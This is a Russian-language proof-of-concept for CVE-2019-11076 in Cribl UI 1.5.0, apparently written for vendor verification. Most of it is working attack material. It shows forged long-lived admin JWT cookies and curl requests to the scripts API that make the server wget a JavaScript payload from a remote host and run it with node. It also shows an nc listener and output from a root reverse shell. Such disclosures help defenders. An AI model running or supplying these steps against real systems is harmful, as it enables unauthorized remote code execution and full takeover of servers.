
CVE-2019-11076 - Cribl UI 1.5.0 позволяет удаленным атакующим выполнять произвольные команды через неаутентифицированный веб-запрос
Это только для информационных/образовательных целей.
Это было собрано для демонстрации уязвимости в инструменте, чтобы поставщик мог проверить исправление.
Протестировано на Cribl v1.5.0 — более ранние версии не тестировались, но, вероятно, уязвимы.
Действительный JWT-токен может быть перенесен из сессии одного экземпляра Cribl и внедрен в сессию другого, предоставляя пользователю несанкционированный доступ.
Кроме того, ключ шифрования, используемый для генерации JWT/сессии, может быть использован для создания действительной сессии для любого имени пользователя с продленным сроком действия.
Это в сочетании с возможностью запуска скриптов в Cribl позволяет удаленному злоумышленнику выполнить вредоносный код на экземпляре Cribl для получения дальнейшего контроля.
Пример этого можно увидеть ниже: используя страницу скриптов и JWT-токен с длительным сроком действия, удалось создать обратную оболочку.
Протестировано с использованием Docker (Alpine).
Сначала измените (имя удаленного хоста) и загрузите ваш shell.js на ваш веб-сервер. Файл содержит код NodeJS для создания обратной оболочки на ваш сайт.
Сервер должен иметь исходящий сетевой доступ к вашему удаленному хосту/порту.
Во-вторых, настройте слушатель на вашем удаленном хосте на порту, соответствующем shell.js:
nc -lvp 6669
Отредактируйте следующие curl-команды, указав ваш удаленный файл.
Запустите команды curl по порядку, выводы должны примерно соответствовать отступам ниже.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...